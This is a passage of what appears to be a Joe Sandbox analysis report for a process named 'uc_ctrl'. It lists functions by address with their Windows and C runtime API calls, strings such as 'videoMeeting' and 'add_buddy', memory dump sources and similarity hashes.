localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C92DA82), ref: 6C92DF1B
isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C92DF4B
isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000001,?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C92DA82), ref: 6C92DF7F
isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000009,00000009), ref: 6C92E06B
isdigit.API-MS-WIN-CRT-STRING-L1-1-0(00000000), ref: 6C92E094

Strings

-, xrefs: 6C92E0A5

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: isdigit$localeconv
String ID: -
API String ID: 3674116420-2547889144
Opcode ID: 322234b71bc2509c04903bb78429d7129cd5f3d8d2ac4936f31c6c81e3b693b6
Instruction ID: b7a31e2bb749cb72b62279fe33a4636c3ace037f86dd9e53bab63498ac672fe1
Opcode Fuzzy Hash: 322234b71bc2509c04903bb78429d7129cd5f3d8d2ac4936f31c6c81e3b693b6
Instruction Fuzzy Hash: 63915A71A292998FDB15CFA9C48069CBFF9EF4A314F24046AE4D5DB648D738D842CB80

Function 6C92E400 Relevance: 14.1, APIs: 3, Strings: 5, Instructions: 87COMMON

Download Yara Rule

APIs

isspace.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C92E424
_Stoullx.MSVCP140(?,?,?,?), ref: 6C92E448
_errno.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6C92E4A5

Strings

+, xrefs: 6C92E436
-, xrefs: 6C92E4BE
-, xrefs: 6C92E47B
-, xrefs: 6C92E431
+, xrefs: 6C92E467

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: Stoullx_errnoisspace
String ID: +$+$-$-$-
API String ID: 244305864-1488319878
Opcode ID: 9b36bd2fe20678c4c4ffb9a7b47ee6f5c618a0ff7726b836a4c611d39f121ef6
Instruction ID: 457a7b8a0960778a5cbe298778e26b6343af2505e1a37610d2f0a78d16e76210
Opcode Fuzzy Hash: 9b36bd2fe20678c4c4ffb9a7b47ee6f5c618a0ff7726b836a4c611d39f121ef6
Instruction Fuzzy Hash: CA2106317750558BEB218D3988D4796BBAEDB4637AF790715F8E487AC8D63CD80083D1

Function 6C68AE21 Relevance: 14.1, APIs: 5, Strings: 3, Instructions: 76libraryloaderCOMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(user32.dll,?,?,?,?,?,?,?,00000000,?,6C6894A4,00000000,00000000), ref: 6C68AEC2
__Init_thread_footer.LIBCMT ref: 6C68AECE

Part of subcall function 6C67FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBB9

GetProcAddress.KERNEL32(RegisterTouchWindow), ref: 6C68AF02
GetProcAddress.KERNEL32(UnregisterTouchWindow), ref: 6C68AF18
__Init_thread_footer.LIBCMT ref: 6C68AF24

Strings

UnregisterTouchWindow, xrefs: 6C68AF08
RegisterTouchWindow, xrefs: 6C68AEF7
user32.dll, xrefs: 6C68AEBD

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: AddressInit_thread_footerProc$Exception@8HandleModuleThrow
String ID: RegisterTouchWindow$UnregisterTouchWindow$user32.dll
API String ID: 3795892493-2470269259
Opcode ID: 856606eb115b391db1a0639b616e02f2957c05b253208e2301579db54c82b0d2
Instruction ID: fd260b56439e97a2ba3e92216557ec46896d6bf150844beb476cdf6014f8b12f
Opcode Fuzzy Hash: 856606eb115b391db1a0639b616e02f2957c05b253208e2301579db54c82b0d2
Instruction Fuzzy Hash: 7421C932205500DFCF219F68C98CA4937B5FB57319B10096AE9146BBD1C735A445EFBC

Function 6C688D94 Relevance: 14.1, APIs: 7, Strings: 1, Instructions: 65windowCOMMON

Download Yara Rule

APIs

GetFocus.USER32 ref: 6C688DDB
SetActiveWindow.USER32(?), ref: 6C688DE6
SendMessageW.USER32(?,00000112,?,?), ref: 6C688E00
IsWindow.USER32(?), ref: 6C688E07
SetActiveWindow.USER32(?), ref: 6C688E12
IsWindow.USER32(00000000), ref: 6C688E19
SetFocus.USER32(00000000), ref: 6C688E24

Strings

u, xrefs: 6C688E2D

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Window$ActiveFocus$MessageSend
String ID: u
API String ID: 1556911595-4067256894
Opcode ID: 8e3f083a1e4a4c5ed7418d7bb237a7c9a164b2fa50b1fea2f35511fc5dc4bb16
Instruction ID: 597e9d6c634cdff713dd432970849ac87899c96847a274e1a100d988cdf9a5f2
Opcode Fuzzy Hash: 8e3f083a1e4a4c5ed7418d7bb237a7c9a164b2fa50b1fea2f35511fc5dc4bb16
Instruction Fuzzy Hash: 1F11B633303605ABDB511B74CC4CA7A3A65EB4E359B108436F5158EEB5D738C802DB78

Function 6C75A967 Relevance: 14.0, APIs: 4, Strings: 4, Instructions: 39COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C75A96E

Part of subcall function 6C67FAC0: EnterCriticalSection.KERNEL32(6C8B7498,?,?,00000000,?,6C68063F,00000000,?,?,6C65F6D7,6C8B244C), ref: 6C67FAF1
Part of subcall function 6C67FAC0: InitializeCriticalSection.KERNEL32(00000000,?,?,00000000,?,6C68063F,00000000,?,?,6C65F6D7,6C8B244C), ref: 6C67FB07
Part of subcall function 6C67FAC0: LeaveCriticalSection.KERNEL32(6C8B7498,?,?,00000000,?,6C68063F,00000000,?,?,6C65F6D7,6C8B244C), ref: 6C67FB15
Part of subcall function 6C67FAC0: EnterCriticalSection.KERNEL32(00000000,?,00000000,?,6C68063F,00000000,?,?,6C65F6D7,6C8B244C), ref: 6C67FB22

GetProfileIntW.KERNEL32(windows,DragScrollInset,0000000B), ref: 6C75A9B9
GetProfileIntW.KERNEL32(windows,DragScrollDelay,00000032), ref: 6C75A9CC
GetProfileIntW.KERNEL32(windows,DragScrollInterval,00000032), ref: 6C75A9DF

Strings

windows, xrefs: 6C75A9B3, 6C75A9B8, 6C75A9C6, 6C75A9D9
DragScrollInterval, xrefs: 6C75A9D4
DragScrollInset, xrefs: 6C75A9AE
DragScrollDelay, xrefs: 6C75A9C1

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: CriticalSection$Profile$Enter$H_prolog3InitializeLeave
String ID: DragScrollDelay$DragScrollInset$DragScrollInterval$windows
API String ID: 4229786687-1024936294
Opcode ID: 57c82c186ff4b6a5d24c23750d2e155842253dd00758944b0fc0b25e1684da4c
Instruction ID: e3e3b01ce1c02debc7a27b1c856eddaf8501162da827d1a125815f8f11a0873a
Opcode Fuzzy Hash: 57c82c186ff4b6a5d24c23750d2e155842253dd00758944b0fc0b25e1684da4c
Instruction Fuzzy Hash: DB015EB1741340AFDF71DF748949F197AF4BB0AB08F804E2DA155E6B90D7B48504CB58

Function 6C692AB7 Relevance: 13.8, APIs: 9, Instructions: 265COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C692ABE

Part of subcall function 6C67FBA5: __CxxThrowException@8.LIBVCRUNTIME ref: 6C67FBB9

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: Exception@8H_prolog3Throw
String ID:
API String ID: 3670251406-0
Opcode ID: e5d54194a19c00c3e7f54e9058b54946aff879e9b9c4d8590f828ea16b6a52f4
Instruction ID: 28f2b0e051e44ed477a8d4cafebaba2d5454888a562229299480c14d280d7542
Opcode Fuzzy Hash: e5d54194a19c00c3e7f54e9058b54946aff879e9b9c4d8590f828ea16b6a52f4
Instruction Fuzzy Hash: 7CA19B71601217DFDB09DF64C898AAEB7B6BF49314F140158E911ABBA0DB30ED15CBE8

Function 00774210 Relevance: 12.5, APIs: 1, Strings: 6, Instructions: 201windowCOMMON

Download Yara Rule

APIs

SendMessageW.USER32(?,0000004A,00000000,?), ref: 007744B1

Strings

videoMeeting, xrefs: 007743CC
add_buddy, xrefs: 0077430E
call, xrefs: 007742AF
chat, xrefs: 00774244
share, xrefs: 00774428
videocall, xrefs: 0077436D

Memory Dump Source

Source File: 00000010.00000002.3908833018.0000000000771000.00000020.00000001.01000000.00000009.sdmp, Offset: 00770000, based on PE: true

Associated: 00000010.00000002.3908699077.0000000000770000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3908989197.000000000077A000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909087647.0000000000781000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000010.00000002.3909199971.0000000000782000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_770000_uc_ctrl.jbxd

Similarity

API ID: MessageSend
String ID: add_buddy$call$chat$share$videoMeeting$videocall
API String ID: 3850602802-283566061
Opcode ID: 9626d1f7919e27b9f5a56370de48e5fb320c0b37ce59ea8bb562d83bedc402fe
Instruction ID: c3eb78cec0743a09a6895ec45bebb5f504fdf25b233dde24161daecbb270145a
Opcode Fuzzy Hash: 9626d1f7919e27b9f5a56370de48e5fb320c0b37ce59ea8bb562d83bedc402fe
Instruction Fuzzy Hash: 3D6112B7600204AAEF245B308C05BE6B2F5FF10BD8F54C1A4D80DB72A1FB799E558B90

Function 6C6989E0 Relevance: 12.4, APIs: 2, Strings: 5, Instructions: 147COMMON

Download Yara Rule

APIs

_wcslen.LIBCMT ref: 6C698A69
_wcslen.LIBCMT ref: 6C698AF6

Strings

ZA1, xrefs: 6C6989E8
ZA1, xrefs: 6C698A45
ZA1, xrefs: 6C698B15, 6C698A88
A, xrefs: 6C698A15
1, xrefs: 6C698A04

Memory Dump Source

Source File: 00000010.00000002.3914277711.000000006C651000.00000020.00000001.01000000.0000000B.sdmp, Offset: 6C650000, based on PE: true

Associated: 00000010.00000002.3914227269.000000006C650000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914486137.000000006C7E3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914575947.000000006C8B2000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914600339.000000006C8B4000.00000008.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B7000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914627113.000000006C8B9000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914693030.000000006C8C0000.00000004.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914721336.000000006C8D3000.00000002.00000001.01000000.0000000B.sdmpDownload File
Associated: 00000010.00000002.3914771540.000000006C8F0000.00000002.00000001.01000000.0000000B.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c650000_uc_ctrl.jbxd

Similarity

API ID: _wcslen
String ID: 1$A$ZA1$ZA1$ZA1
API String ID: 176396367-2337498304
Opcode ID: eb5aefdadfd73ef612e64e30590f54ba30c75def1d6cf11b22cd7adbad95e7f9
Instruction ID: 55485645e47f4568060dfb5c920bc1122c7907f2bec44f3adad974b1e339419b
Opcode Fuzzy Hash: eb5aefdadfd73ef612e64e30590f54ba30c75def1d6cf11b22cd7adbad95e7f9
Instruction Fuzzy Hash: 9141233290030BAFDB209F68C815AAAB3B1EB49718F548517E9519B998D3B05AC3C75C

Function 6C93FE80 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 124COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C93FE87
_swprintf_s.MSPDB140-MSVCRT ref: 6C93FEF6
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6C93FF1F

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93D96D: __EH_prolog3.LIBCMT ref: 6C93D974
Part of subcall function 6C93D96D: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,6C93EA4F,00000010,6C9380EC,?,?,?,00000000,?,?,?,00000000,?,?,?,00000000), ref: 6C93D97F
Part of subcall function 6C93D96D: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,?,?,00000004), ref: 6C93D997
Part of subcall function 6C93D96D: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,?,?,00000004), ref: 6C93D9FB

std::locale::~locale.LIBCPMT ref: 6C93FF3B

Strings

%.0Lf, xrefs: 6C93FEEE

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_?getloc@ios_base@std@@Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@Vlocale@2@_lock_locales_swprintf_sstd::locale::localestd::locale::~locale
String ID: %.0Lf
API String ID: 3171560847-1402515088
Opcode ID: 1dff24108e06e0b1373952f2e9b66fe856ef97c01cba00150505d23d80b3c8a0
Instruction ID: c52b26191b32795a583094ca245c7293b980c385c177b5244c978f99810a069b
Opcode Fuzzy Hash: 1dff24108e06e0b1373952f2e9b66fe856ef97c01cba00150505d23d80b3c8a0
Instruction Fuzzy Hash: E7418B71E00219ABCF05DFE4C854AEDBBB4FF29304F104549E849AB790EB359929CB90

Function 6C94BA90 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 122COMMON

Download Yara Rule

APIs

__EH_prolog3_GS.LIBCMT ref: 6C94BA97
_swprintf_s.MSPDB140-MSVCRT ref: 6C94BB06
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?), ref: 6C94BB2F

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93632C: __EH_prolog3.LIBCMT ref: 6C936333
Part of subcall function 6C93632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C93633E
Part of subcall function 6C93632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C936356
Part of subcall function 6C93632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C9363BA

std::locale::~locale.LIBCPMT ref: 6C94BB4B

Strings

%.0Lf, xrefs: 6C94BAFE

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ??1_?getloc@ios_base@std@@Bid@locale@std@@H_prolog3H_prolog3_Lockit@std@@Vlocale@2@_lock_locales_swprintf_sstd::locale::localestd::locale::~locale
String ID: %.0Lf
API String ID: 3171560847-1402515088
Opcode ID: 2f6b095021342160ce2c9b500dcd658e2c4df41c0677f25f051d6b8e1b0b0533
Instruction ID: dc63b9198f8c58ac05d9dbe22b875924884316bb46027bc1716934e5b4af5865
Opcode Fuzzy Hash: 2f6b095021342160ce2c9b500dcd658e2c4df41c0677f25f051d6b8e1b0b0533
Instruction Fuzzy Hash: BA418771E00219ABCF05EFD4C854AEDBBB5FF29304F108548E946AB694EB759919CF80

Function 6C93E401 Relevance: 12.4, APIs: 6, Strings: 1, Instructions: 110COMMON

Download Yara Rule

APIs

_Mbrtowc.MSVCP140(6C9496D5,false,?,00000000,6C9496D5,?,00000000,?,?,6C947141), ref: 6C93E440
calloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,00000002,?,00000000,?,?,6C947141), ref: 6C93E45A
_Mbrtowc.MSVCP140(00000000,false,00000001,00000000,6C9496D5), ref: 6C93E483
Concurrency::cancel_current_task.LIBCPMT(6C947141), ref: 6C93E4A8

Part of subcall function 6C94DEF0: _CxxThrowException.VCRUNTIME140(?,6C963ABC), ref: 6C94DF07
Part of subcall function 6C94DEF0: std::bad_exception::bad_exception.LIBCMT ref: 6C94DF1C
Part of subcall function 6C94DEF0: _CxxThrowException.VCRUNTIME140(?,6C963CD4,?), ref: 6C94DF2A

calloc.API-MS-WIN-CRT-HEAP-L1-1-0(-00000001,00000002,?,00000000,?,6C948C7E,?,?,00000000), ref: 6C93E4CD
memcpy.VCRUNTIME140(00000000,?,00000000,00000001,0000003C,6C9496D5,00000000,?,?,?,?,?,?,?,?,00000000), ref: 6C93E4E1

Strings

false, xrefs: 6C93E43E, 6C93E481, 6C93E4AE

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: ExceptionMbrtowcThrowcalloc$Concurrency::cancel_current_taskmemcpystd::bad_exception::bad_exception
String ID: false
API String ID: 2051659101-734881840
Opcode ID: 754ae3fd0f6eb5e39bec0b5f1a1dd70548b54f5cc5d981c07289973eacf91640
Instruction ID: 0ee97314a6095ed34b774aaeb45941fce4f99af480013544b6d869c8c5111537
Opcode Fuzzy Hash: 754ae3fd0f6eb5e39bec0b5f1a1dd70548b54f5cc5d981c07289973eacf91640
Instruction Fuzzy Hash: ED314777E0411A6BDB008AA5DC48BFBB7BDEF49358F148225ED08D3645E734CA098BE0

Function 6C92F5D8 Relevance: 12.3, APIs: 8, Instructions: 265COMMON

Download Yara Rule

APIs

iswctype.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000004,?,00000001,00000000), ref: 6C92F63C
iswctype.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000004), ref: 6C92F66A
localeconv.API-MS-WIN-CRT-LOCALE-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,6C92F1E2,?,?), ref: 6C92F679
btowc.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,?,?,?,?,?,?,?,?,?,?,?,?,6C92F1E2,?), ref: 6C92F685
iswctype.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000004,?,?,?,?,?,?,?,?,?,?,?,?,6C92F1E2,?), ref: 6C92F6BD
iswctype.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000004), ref: 6C92F6E9
iswctype.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000004,00000009,00000009), ref: 6C92F7F1
iswctype.API-MS-WIN-CRT-STRING-L1-1-0(00000000,00000004), ref: 6C92F820

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: iswctype$btowclocaleconv
String ID:
API String ID: 4030784145-0
Opcode ID: 96b42f18f148dfa5c53d2fa48e2c61b7fcac354e91cc6d67c8513596e2ba336c
Instruction ID: 9851253ebb21abc55af8c6ec73aaad66fae2205ea0e9cd223196c6e476540def
Opcode Fuzzy Hash: 96b42f18f148dfa5c53d2fa48e2c61b7fcac354e91cc6d67c8513596e2ba336c
Instruction Fuzzy Hash: D891FD71E15229CFDF14CFE9D84069CBBB8EF45718F24441AE885EB688E738D882CB40

Function 6C94FC10 Relevance: 12.2, APIs: 8, Instructions: 184COMMON

Download Yara Rule

APIs

__EH_prolog3.LIBCMT ref: 6C94FC17
?getloc@ios_base@std@@QBE?AVlocale@2@XZ.MSVCP140(?,00000030), ref: 6C94FC26

Part of subcall function 6C9344C0: std::locale::locale.LIBCPMT ref: 6C9344C9

Part of subcall function 6C93632C: __EH_prolog3.LIBCMT ref: 6C936333
Part of subcall function 6C93632C: _lock_locales.API-MS-WIN-CRT-LOCALE-L1-1-0(00000014,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C93633E
Part of subcall function 6C93632C: ??Bid@locale@std@@QAEIXZ.MSVCP140(?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C936356
Part of subcall function 6C93632C: ??1_Lockit@std@@QAE@XZ.MSVCP140(00000000,?,6C93620D,?,00000003,00000010,6C935F84,?,?,?,?,6C93604E,?,?,00000000,?), ref: 6C9363BA

std::locale::~locale.LIBCPMT ref: 6C94FC42

Memory Dump Source

Source File: 00000010.00000002.3914848987.000000006C921000.00000020.00000001.01000000.0000000A.sdmp, Offset: 6C920000, based on PE: true

Associated: 00000010.00000002.3914808805.000000006C920000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914932105.000000006C982000.00000004.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C985000.00000002.00000001.01000000.0000000A.sdmpDownload File
Associated: 00000010.00000002.3914958695.000000006C988000.00000002.00000001.01000000.0000000A.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_16_2_6c920000_uc_ctrl.jbxd

Similarity

API ID: H_prolog3$??1_?getloc@ios_base@std@@Bid@locale@std@@Lockit@std@@Vlocale@2@_lock_localesstd::locale::localestd::locale::~locale
String ID:
API String ID: 3655460422-0
Opcode ID: b4ee5bb0108edb8b8b8ad44ac8d92647ea03271375c45feb35db848baff3d6c0
Instruction ID: 8de8d9535792caf950d238acc9b914235170f720c72234743ef17f0441ba82ee
Opcode Fuzzy Hash: b4ee5bb0108edb8b8b8ad44ac8d92647ea03271375c45feb35db848baff3d6c0
Instruction Fuzzy Hash: 80717E3590429A9FCF15CFA4C850BED7BB1BF29318F148249E8952B791CB30EE55CB91

Function 6C6B0C7B Relevance: 12.2, APIs: 8, Instructions: 165windowCOMMON

Download Yara Rule

APIs

Part of subcall function 6C6E836C: IsWindow.USER32(?), ref: 6C6E8378

SendMessageW.USER32(?,00000010,00000000,00000000), ref: 6C6B0E23

Part of subcall function 6C6E6D4D: GetClientRect.USER32(00000000,6C6B0CBC), ref: 6C6E6D7C
Part of subcall function 6C6E6D4D: PtInRect.USER32(6C6B0CBC,?,?), ref: 6C6E6D96

ScreenToClient.USER32(00000000,?), ref: 6C6B0D06
PtInRect.USER32(?,?,?), ref: 6C6B0D16
